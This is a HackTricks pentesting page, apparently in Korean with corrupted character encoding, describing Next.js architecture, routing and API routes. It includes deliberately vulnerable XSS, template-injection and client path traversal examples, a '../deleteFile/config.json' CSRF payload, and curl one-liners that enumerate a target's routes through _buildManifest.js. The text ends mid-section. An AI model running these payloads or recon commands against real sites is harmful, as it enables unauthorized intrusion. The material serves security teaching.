NextJS
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Next.js ์ ํ๋ฆฌ์ผ์ด์ ์ ์ผ๋ฐ ์ํคํ ์ฒ
์ผ๋ฐ์ ์ธ ํ์ผ ๊ตฌ์กฐ
ํ์ค Next.js ํ๋ก์ ํธ๋ ๋ผ์ฐํ , API ์๋ํฌ์ธํธ, ์ ์ ์์ฐ ๊ด๋ฆฌ์ ๊ฐ์ ๊ธฐ๋ฅ์ ์ฉ์ดํ๊ฒ ํ๋ ํน์ ํ์ผ ๋ฐ ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ฐ๋ฆ ๋๋ค. ์ผ๋ฐ์ ์ธ ๋ ์ด์์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
my-nextjs-app/
โโโ node_modules/
โโโ public/
โ โโโ images/
โ โ โโโ logo.png
โ โโโ favicon.ico
โโโ app/
โ โโโ api/
โ โ โโโ hello/
โ โ โโโ route.ts
โ โโโ layout.tsx
โ โโโ page.tsx
โ โโโ about/
โ โ โโโ page.tsx
โ โโโ dashboard/
โ โ โโโ layout.tsx
โ โ โโโ page.tsx
โ โโโ components/
โ โ โโโ Header.tsx
โ โ โโโ Footer.tsx
โ โโโ styles/
โ โ โโโ globals.css
โ โ โโโ Home.module.css
โ โโโ utils/
โ โโโ api.ts
โโโ .env.local
โโโ next.config.js
โโโ tsconfig.json
โโโ package.json
โโโ README.md
โโโ yarn.lock / package-lock.json
ํต์ฌ ๋๋ ํ ๋ฆฌ ๋ฐ ํ์ผ
- public/: ์ด๋ฏธ์ง, ๊ธ๊ผด ๋ฐ ๊ธฐํ ํ์ผ๊ณผ ๊ฐ์ ์ ์ ์์ฐ์ ํธ์คํ
ํฉ๋๋ค. ์ฌ๊ธฐ์ ํ์ผ๋ค์ ๋ฃจํธ ๊ฒฝ๋ก (
/)์์ ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค. - app/: ์ ํ๋ฆฌ์ผ์ด์ ์ pages, layouts, components, ๋ฐ API routes๋ฅผ ์ํ ์ค์ ๋๋ ํ ๋ฆฌ์ ๋๋ค. App Router ํจ๋ฌ๋ค์์ ์ฑํํ์ฌ ๊ณ ๊ธ ๋ผ์ฐํ ๊ธฐ๋ฅ๊ณผ ์๋ฒ-ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ ๋ถ๋ฆฌ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- app/layout.tsx: ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ฃจํธ ๋ ์ด์์์ ์ ์ํ๋ฉฐ, ๋ชจ๋ ํ์ด์ง๋ฅผ ๊ฐ์ธ๊ณ ํค๋, ํธํฐ, ๋ด๋น๊ฒ์ด์ ๋ฐ ๊ฐ์ ์ผ๊ด๋ UI ์์๋ฅผ ์ ๊ณตํฉ๋๋ค.
- app/page.tsx: ๋ฃจํธ ๋ผ์ฐํธ (
/)์ ์ง์ ์ ์ผ๋ก ์๋ํ๋ฉฐ ํ ํ์ด์ง๋ฅผ ๋ ๋๋งํฉ๋๋ค. - app/[route]/page.tsx: ์ ์ ๋ฐ ๋์ ๋ผ์ฐํธ๋ฅผ ์ฒ๋ฆฌํฉ๋๋ค.
app/๋ด๋ถ์ ๊ฐ ํด๋๋ ๋ผ์ฐํธ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ด๋ฉฐ, ํด๋น ํด๋ ๋ด์page.tsx๋ ๋ผ์ฐํธ์ ์ปดํฌ๋ํธ์ ํด๋นํฉ๋๋ค. - app/api/: API ๋ผ์ฐํธ๋ฅผ ํฌํจํ๋ฉฐ HTTP ์์ฒญ์ ์ฒ๋ฆฌํ๋ serverless ํจ์๋ฅผ ์์ฑํ ์ ์๊ฒ ํฉ๋๋ค. ์ด ๋ผ์ฐํธ๋ ๊ธฐ์กด์
pages/api๋๋ ํ ๋ฆฌ๋ฅผ ๋์ฒดํฉ๋๋ค. - app/components/: ์ฌ๋ฌ ํ์ด์ง์ ๋ ์ด์์์์ ์ฌ์ฉํ ์ ์๋ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ React ์ปดํฌ๋ํธ๋ฅผ ๋ณด๊ดํฉ๋๋ค.
- app/styles/: ๊ธ๋ก๋ฒ CSS ํ์ผ๊ณผ ์ปดํฌ๋ํธ ๋ฒ์ ์คํ์ผ๋ง์ ์ํ CSS Modules๋ฅผ ํฌํจํฉ๋๋ค.
- app/utils/: ์ ํธ๋ฆฌํฐ ํจ์, ํฌํผ ๋ชจ๋ ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฒด์์ ๊ณต์ ํ ์ ์๋ ๊ธฐํ UI๊ฐ ์๋ ๋ก์ง์ ํฌํจํฉ๋๋ค.
- .env.local: ๋ก์ปฌ ๊ฐ๋ฐ ํ๊ฒฝ์ ํน์ ํ ํ๊ฒฝ ๋ณ์๋ฅผ ์ ์ฅํฉ๋๋ค. ์ด ๋ณ์๋ค์ ๋ฒ์ ๊ด๋ฆฌ์ ์ปค๋ฐ๋์ง ์์ต๋๋ค.
- next.config.js: webpack ์ค์ , ํ๊ฒฝ ๋ณ์, ๋ณด์ ์ค์ ๋ฑ Next.js ๋์์ ์ปค์คํฐ๋ง์ด์ฆํฉ๋๋ค.
- tsconfig.json: ํ๋ก์ ํธ์ TypeScript ์ค์ ์ ๊ตฌ์ฑํ์ฌ ํ์ ๊ฒ์ฌ ๋ฐ ๊ธฐํ TypeScript ๊ธฐ๋ฅ์ ํ์ฑํํฉ๋๋ค.
- package.json: ํ๋ก์ ํธ์ ์ข ์์ฑ, ์คํฌ๋ฆฝํธ ๋ฐ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๊ด๋ฆฌํฉ๋๋ค.
- README.md: ์ค์ ๋ฐฉ๋ฒ, ์ฌ์ฉ ์ง์นจ ๋ฐ ๊ธฐํ ๊ด๋ จ ์ ๋ณด๋ฅผ ํฌํจํ ํ๋ก์ ํธ ๋ฌธ์์ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค.
- yarn.lock / package-lock.json: ํ๋ก์ ํธ์ ์์กด์ฑ์ ํน์ ๋ฒ์ ์ผ๋ก ๊ณ ์ ํ์ฌ ๋ค์ํ ํ๊ฒฝ์์ ์ผ๊ด๋ ์ค์น๋ฅผ ๋ณด์ฅํฉ๋๋ค.
Next.js์ ํด๋ผ์ด์ธํธ ์ธก
app ๋๋ ํ ๋ฆฌ์ ํ์ผ ๊ธฐ๋ฐ ๋ผ์ฐํ
app ๋๋ ํ ๋ฆฌ๋ ์ต์ Next.js ๋ฒ์ ์์ ๋ผ์ฐํ
์ ํต์ฌ์
๋๋ค. ํ์ผ ์์คํ
์ ์ด์ฉํด ๋ผ์ฐํธ๋ฅผ ์ ์ํ๋ฏ๋ก ๋ผ์ฐํธ ๊ด๋ฆฌ๋ฅผ ์ง๊ด์ ์ด๊ณ ํ์ฅ ๊ฐ๋ฅํ๊ฒ ๋ง๋ญ๋๋ค.
๋ฃจํธ ๊ฒฝ๋ก / ์ฒ๋ฆฌ
ํ์ผ ๊ตฌ์กฐ:
my-nextjs-app/
โโโ app/
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
ํต์ฌ ํ์ผ:
app/page.tsx: ๋ฃจํธ ๊ฒฝ๋ก/์ ๋ํ ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค.app/layout.tsx: ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ ์ด์์์ ์ ์ํ๊ณ ๋ชจ๋ ํ์ด์ง๋ฅผ ๊ฐ์ธ๋ ์ญํ ์ ํฉ๋๋ค.
๊ตฌํ:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
์ค๋ช :
- ๊ฒฝ๋ก ์ ์:
app๋๋ ํฐ๋ฆฌ ๋ฐ๋ก ์๋์ ์๋page.tsxํ์ผ์/๊ฒฝ๋ก์ ํด๋นํฉ๋๋ค. - ๋ ๋๋ง: ์ด ์ปดํฌ๋ํธ๋ ํ ํ์ด์ง์ ๋ด์ฉ์ ๋ ๋๋งํฉ๋๋ค.
- ๋ ์ด์์ ํตํฉ:
HomePage์ปดํฌ๋ํธ๋layout.tsx๋ก ๋ํ๋์ด ์์ผ๋ฉฐ, ์ฌ๊ธฐ์๋ ํค๋, ํธํฐ ๋ฐ ๊ธฐํ ๊ณตํต ์์๋ฅผ ํฌํจํ ์ ์์ต๋๋ค.
๋ค๋ฅธ ์ ์ ๊ฒฝ๋ก ์ฒ๋ฆฌ
์์: /about ๊ฒฝ๋ก
ํ์ผ ๊ตฌ์กฐ:
arduinoCopy codemy-nextjs-app/
โโโ app/
โ โโโ about/
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
์ค๋ช :
- ๊ฒฝ๋ก ์ ์:
aboutํด๋ ์์page.tsxํ์ผ์/about๋ผ์ฐํธ์ ํด๋นํฉ๋๋ค. - ๋ ๋๋ง: ์ด ์ปดํฌ๋ํธ๋ about ํ์ด์ง์ ๋ด์ฉ์ ๋ ๋๋งํฉ๋๋ค.
๋์ ๋ผ์ฐํธ
๋์ ๋ผ์ฐํธ๋ ๊ฐ๋ณ ์ธ๊ทธ๋จผํธ๋ฅผ ๊ฐ์ง ๊ฒฝ๋ก๋ฅผ ์ฒ๋ฆฌํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ID, ์ฌ๋ฌ๊ทธ ๋ฑ๊ณผ ๊ฐ์ ๋งค๊ฐ๋ณ์๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฝํ ์ธ ๋ฅผ ํ์ํ๋๋ก ํด์ค๋๋ค.
์์: /posts/[id] ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
arduinoCopy codemy-nextjs-app/
โโโ app/
โ โโโ posts/
โ โ โโโ [id]/
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
์ค๋ช :
- ๋์ ์ธ๊ทธ๋จผํธ:
[id]๋ ๋ผ์ฐํธ์ ๋์ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ด๋ฉฐ, URL์์idํ๋ผ๋ฏธํฐ๋ฅผ ์บก์ฒํฉ๋๋ค. - ํ๋ผ๋ฏธํฐ ์ ๊ทผ:
params๊ฐ์ฒด๋ ๋์ ํ๋ผ๋ฏธํฐ๋ฅผ ํฌํจํ๋ฉฐ, ์ปดํฌ๋ํธ ๋ด์์ ์ ๊ทผํ ์ ์์ต๋๋ค. - ๋ผ์ฐํธ ๋งค์นญ:
/posts/*์ ๋งค์นญ๋๋ ๋ชจ๋ ๊ฒฝ๋ก(์:/posts/1,/posts/abc๋ฑ)๋ ์ด ์ปดํฌ๋ํธ์์ ์ฒ๋ฆฌ๋ฉ๋๋ค.
์ค์ฒฉ ๋ผ์ฐํธ
Next.js๋ ์ค์ฒฉ ๋ผ์ฐํ ์ ์ง์ํ์ฌ ๋๋ ํฐ๋ฆฌ ๋ ์ด์์์ ๋ฐ์ํ๋ ๊ณ์ธตํ ๋ผ์ฐํธ ๊ตฌ์กฐ๋ฅผ ํ์ฉํฉ๋๋ค.
์์: /dashboard/settings/profile ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
arduinoCopy codemy-nextjs-app/
โโโ app/
โ โโโ dashboard/
โ โ โโโ settings/
โ โ โ โโโ profile/
โ โ โ โโโ page.tsx
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
์ค๋ช :
- Deep Nesting:
page.tsxํ์ผ์dashboard/settings/profile/์์ ์์ผ๋ฉฐ/dashboard/settings/profile๊ฒฝ๋ก์ ํด๋นํฉ๋๋ค. - Hierarchy Reflection: ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ๋ URL ๊ฒฝ๋ก๋ฅผ ๋ฐ์ํ์ฌ ์ ์ง๋ณด์์ฑ๊ณผ ๋ช ํ์ฑ์ ํฅ์์ํต๋๋ค.
Catch-All ๋ผ์ฐํธ
Catch-all ๋ผ์ฐํธ๋ ์ฌ๋ฌ ๊ฐ์ ์ค์ฒฉ๋ ์ธ๊ทธ๋จผํธ๋ ์๋ ค์ง์ง ์์ ๊ฒฝ๋ก๋ฅผ ์ฒ๋ฆฌํ์ฌ ๋ผ์ฐํธ ์ฒ๋ฆฌ์ ์ ์ฐ์ฑ์ ์ ๊ณตํฉ๋๋ค.
์์: /* Route
ํ์ผ ๊ตฌ์กฐ:
my-nextjs-app/
โโโ app/
โ โโโ [...slug]/
โ โ โโโ page.tsx
โ โโโ layout.tsx
โ โโโ page.tsx
โโโ public/
โโโ next.config.js
โโโ ...
๊ตฌํ:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
์ค๋ช :
- Catch-All Segment:
[...slug]์ ๋๋จธ์ง ๊ฒฝ๋ก ์ธ๊ทธ๋จผํธ๋ฅผ ๋ฐฐ์ด๋ก ์บก์ฒํฉ๋๋ค. - Usage: ์ฌ์ฉ์ ์์ฑ ๊ฒฝ๋ก๋ ์ค์ฒฉ ์นดํ ๊ณ ๋ฆฌ ๋ฑ ๋์ ๋ผ์ฐํ ์๋๋ฆฌ์ค๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
- Route Matching:
/anything/here,/foo/bar/baz๋ฑ๊ณผ ๊ฐ์ ๊ฒฝ๋ก๋ ์ด ์ปดํฌ๋ํธ์์ ์ฒ๋ฆฌ๋ฉ๋๋ค.
์ ์ฌ์ ํด๋ผ์ด์ธํธ ์ธก ์ทจ์ฝ์
While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:
Cross-Site Scripting (XSS)
XSS ๊ณต๊ฒฉ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ ๋ขฐํ ์ ์๋ ์น์ฌ์ดํธ์ ์ฃผ์ ๋ ๋ ๋ฐ์ํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด ๋ฐ์ดํฐ๋ฅผ ํ์น๊ฑฐ๋ ์ฌ์ฉ์๋ฅผ ๋์ ํด ์์ ์ ์ํํ ์ ์์ต๋๋ค.
์ทจ์ฝํ ์ฝ๋ ์:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
์ทจ์ฝํ ์ด์ : ์ ๋ขฐํ ์ ์๋ ์
๋ ฅ๊ณผ ํจ๊ป dangerouslySetInnerHTML๋ฅผ ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์
ํ ์ ์์ต๋๋ค.
Client-Side Template Injection
์ฌ์ฉ์ ์ ๋ ฅ์ด ํ ํ๋ฆฟ์์ ๋ถ์ ์ ํ๊ฒ ์ฒ๋ฆฌ๋ ๋ ๋ฐ์ํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ํ ํ๋ฆฟ์ด๋ ํํ์์ ์ฃผ์ ํ๊ณ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
์ทจ์ฝํ ์ฝ๋ ์์:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
์ทจ์ฝํ ์ด์ : ๋ง์ฝ template ๋๋ data์ ์
์์ ์ธ ๋ด์ฉ์ด ํฌํจ๋๋ฉด ์์น ์๋ ์ฝ๋๊ฐ ์คํ๋ ์ ์์ต๋๋ค.
Client Path Traversal
์ด ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ ํด๋ผ์ด์ธํธ ์ธก ๊ฒฝ๋ก๋ฅผ ์กฐ์ํ์ฌ Cross-Site Request Forgery (CSRF)์ ๊ฐ์ ์์น ์๋ ๋์์ ์ํํ๊ฒ ํ ์ ์์ต๋๋ค. Unlike server-side path traversal, which targets the serverโs filesystem, CSPT focuses on exploiting client-side mechanisms to reroute legitimate API requests to malicious endpoints.
์ทจ์ฝํ ์ฝ๋ ์์:
Next.js ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์๊ฐ ํ์ผ์ ์ ๋ก๋ํ๊ณ ๋ค์ด๋ก๋ํ ์ ์๊ฒ ํฉ๋๋ค. ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ํด๋ผ์ด์ธํธ ์ธก์ ๊ตฌํ๋์ด ์์ผ๋ฉฐ, ์ฌ์ฉ์๊ฐ ๋ค์ด๋ก๋ํ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ ์ ์๊ฒ ๋์ด ์์ต๋๋ค.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
๊ณต๊ฒฉ ์๋๋ฆฌ์ค
- ๊ณต๊ฒฉ์์ ๋ชฉํ:
filePath๋ฅผ ์กฐ์ํ์ฌ ์ค์ํ ํ์ผ(์:admin/config.json)์ ์ญ์ ํ๋ CSRF ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค. - CSPT ์ ์ฉ:
- ์
์์ ์
๋ ฅ: ๊ณต๊ฒฉ์๋
../deleteFile/config.json๊ฐ์ ์กฐ์๋filePath๋ฅผ ํฌํจํ URL์ ๋ง๋ญ๋๋ค. - ๊ฒฐ๊ณผ API ํธ์ถ: ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๋
/api/files/../deleteFile/config.json์ ์์ฒญ์ ๋ณด๋ ๋๋ค. - ์๋ฒ ์ฒ๋ฆฌ: ์๋ฒ๊ฐ
filePath๋ฅผ ๊ฒ์ฆํ์ง ์์ผ๋ฉด ์์ฒญ์ ์ฒ๋ฆฌํ์ฌ ๋ฏผ๊ฐํ ํ์ผ์ ์ญ์ ํ๊ฑฐ๋ ๋ ธ์ถ์ํฌ ์ ์์ต๋๋ค.
- CSRF ์คํ:
- ์กฐ์๋ ๋งํฌ: ๊ณต๊ฒฉ์๋ ํผํด์์๊ฒ ๋งํฌ๋ฅผ ๋ณด๋ด๊ฑฐ๋ ์กฐ์๋
filePath๋ก ๋ค์ด๋ก๋ ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํฉ๋๋ค. - ๊ฒฐ๊ณผ: ํผํด์๋ ์์ ๋ ๋ชจ๋ฅด๊ฒ ํด๋น ๋์์ ์ํํ์ฌ ๋ฌด๋จ ํ์ผ ์ก์ธ์ค ๋๋ ์ญ์ ๋ก ์ด์ด์ง๋๋ค.
Recon: static export route discovery via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and routeโchunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- ๋ฐ๊ฒฌ๋ ๊ฒฝ๋ก(์:
/docs,/docs/content/examples,/signin)๋ฅผ ์ฌ์ฉํด ์ธ์ฆ ํ ์คํธ์ ์๋ํฌ์ธํธ ํ์์ ์งํํ์ธ์.
Next.js์ ์๋ฒ ์ฌ์ด๋
์๋ฒ ์ฌ์ด๋ ๋ ๋๋ง (SSR)
ํ์ด์ง๋ ๊ฐ ์์ฒญ๋ง๋ค ์๋ฒ์์ ๋ ๋๋ง๋์ด ์ฌ์ฉ์๊ฐ ์์ ํ ๋ ๋๋ HTML์ ๋ฐ๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด ๊ฒฝ์ฐ ์์ฒญ์ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์์ฒด ์ปค์คํ ์๋ฒ๋ฅผ ๋ง๋ค์ด์ผ ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ์์ฃผ ๋ณ๊ฒฝ๋๋ ๋์ ์ฝํ ์ธ .
- ๊ฒ์ ์์ง์ด ์์ ํ ๋ ๋๋ ํ์ด์ง๋ฅผ ํฌ๋กค๋งํ ์ ์์ผ๋ฏ๋ก SEO ์ต์ ํ์ ์ ํฉํฉ๋๋ค.
๊ตฌํ:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
์ ์ ์ฌ์ดํธ ์์ฑ (SSG)
ํ์ด์ง๊ฐ ๋น๋ ์์ ์ ๋ฏธ๋ฆฌ ๋ ๋๋ง๋์ด ๋ก๋ ์๊ฐ์ด ๋นจ๋ผ์ง๊ณ ์๋ฒ ๋ถํ๊ฐ ๊ฐ์ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ์์ฃผ ๋ณ๊ฒฝ๋์ง ์๋ ์ฝํ ์ธ .
- ๋ธ๋ก๊ทธ, ๋ฌธ์, ๋ง์ผํ ํ์ด์ง.
๊ตฌํ:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
์๋ฒ๋ฆฌ์ค ํจ์ (API Routes)
Next.js์์๋ API ์๋ํฌ์ธํธ๋ฅผ ์๋ฒ๋ฆฌ์ค ํจ์๋ก ์์ฑํ ์ ์์ต๋๋ค. ์ด๋ฌํ ํจ์๋ ์ ์ฉ ์๋ฒ๊ฐ ํ์ ์์ด ์จ๋๋งจ๋๋ก ์คํ๋ฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ํผ ์ ์ถ ์ฒ๋ฆฌ.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ํธ์์ฉ.
- ๋ฐ์ดํฐ ์ฒ๋ฆฌ ๋๋ ์๋ํํฐ API ํตํฉ.
๊ตฌํ:
Next.js 13์์ app ๋๋ ํฐ๋ฆฌ๊ฐ ๋์
๋๋ฉด์ ๋ผ์ฐํ
๊ณผ API ์ฒ๋ฆฌ๊ฐ ๋ ์ ์ฐํ๊ณ ๊ฐ๋ ฅํด์ก์ต๋๋ค. ์ด ํ๋์ ์ธ ์ ๊ทผ ๋ฐฉ์์ ํ์ผ ๊ธฐ๋ฐ ๋ผ์ฐํ
์์คํ
๊ณผ ๋ฐ์ ํ๊ฒ ์ฐ๋๋๋ฉฐ, ์๋ฒ ๋ฐ ํด๋ผ์ด์ธํธ ์ปดํฌ๋ํธ ์ง์์ ํฌํจํ ํฅ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.
๊ธฐ๋ณธ ๋ผ์ฐํธ ํธ๋ค๋ฌ
ํ์ผ ๊ตฌ์กฐ:
my-nextjs-app/
โโโ app/
โ โโโ api/
โ โโโ hello/
โ โโโ route.js
โโโ package.json
โโโ ...
๊ตฌํ:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
์ค๋ช :
- ์์น: API ๋ผ์ฐํธ๋
app/api/๋๋ ํ ๋ฆฌ์ ๋ฐฐ์น๋ฉ๋๋ค. - ํ์ผ๋ช
: ๊ฐ API ์๋ํฌ์ธํธ๋
route.js๋๋route.tsํ์ผ์ ํฌํจํ๋ ์์ฒด ํด๋์ ์์นํฉ๋๋ค. - ๋ด๋ณด๋ธ ํจ์: ๋จ์ผ ๊ธฐ๋ณธ export ๋์ ํน์ HTTP ๋ฉ์๋ ํจ์(์:
GET,POST)๋ฅผ ๋ด๋ณด๋ ๋๋ค. - ์๋ต ์ฒ๋ฆฌ:
Response์์ฑ์๋ฅผ ์ฌ์ฉํ์ฌ ์๋ต์ ๋ฐํํ๋ฉด ํค๋์ ์ํ ์ฝ๋๋ฅผ ๋ ์ธ๋ฐํ๊ฒ ์ ์ดํ ์ ์์ต๋๋ค.
๋ค๋ฅธ ๊ฒฝ๋ก์ ๋ฉ์๋ ์ฒ๋ฆฌ ๋ฐฉ๋ฒ:
ํน์ HTTP ๋ฉ์๋ ์ฒ๋ฆฌ
Next.js 13+์์๋ ๋์ผํ route.js ๋๋ route.ts ํ์ผ ๋ด์์ ํน์ HTTP ๋ฉ์๋์ ๋ํ ํธ๋ค๋ฌ๋ฅผ ์ ์ํ ์ ์์ด ์ฝ๋๊ฐ ๋ ๋ช
ํํ๊ณ ์กฐ์ง์ ์ผ๋ก ๋ฉ๋๋ค.
์์ :
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
์ค๋ช :
- ๋ค์ค Export: ๊ฐ HTTP ๋ฉ์๋ (
GET,PUT,DELETE)๋ ๊ณ ์ ํ export๋ ํจ์๋ฅผ ๊ฐ์ง๋๋ค. - ๋งค๊ฐ๋ณ์: ๋ ๋ฒ์งธ ์ธ์๋
params๋ฅผ ํตํด ๋ผ์ฐํธ ๋งค๊ฐ๋ณ์์ ์ ๊ทผํ ์ ์๊ฒ ํฉ๋๋ค. - ํฅ์๋ ์๋ต: ์๋ต ๊ฐ์ฒด์ ๋ํ ๋ ํฐ ์ ์ด๋ฅผ ํตํด ํค๋์ ์ํ ์ฝ๋๋ฅผ ์ ํํ๊ฒ ๊ด๋ฆฌํ ์ ์์ต๋๋ค.
Catch-All ๋ฐ ์ค์ฒฉ ๋ผ์ฐํธ
Next.js 13+๋ catch-all ๋ผ์ฐํธ ๋ฐ ์ค์ฒฉ API ๋ผ์ฐํธ์ ๊ฐ์ ๊ณ ๊ธ ๋ผ์ฐํ ๊ธฐ๋ฅ์ ์ง์ํ์ฌ ๋ณด๋ค ๋์ ์ด๊ณ ํ์ฅ ๊ฐ๋ฅํ API ๊ตฌ์กฐ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Catch-All ๋ผ์ฐํธ ์์:
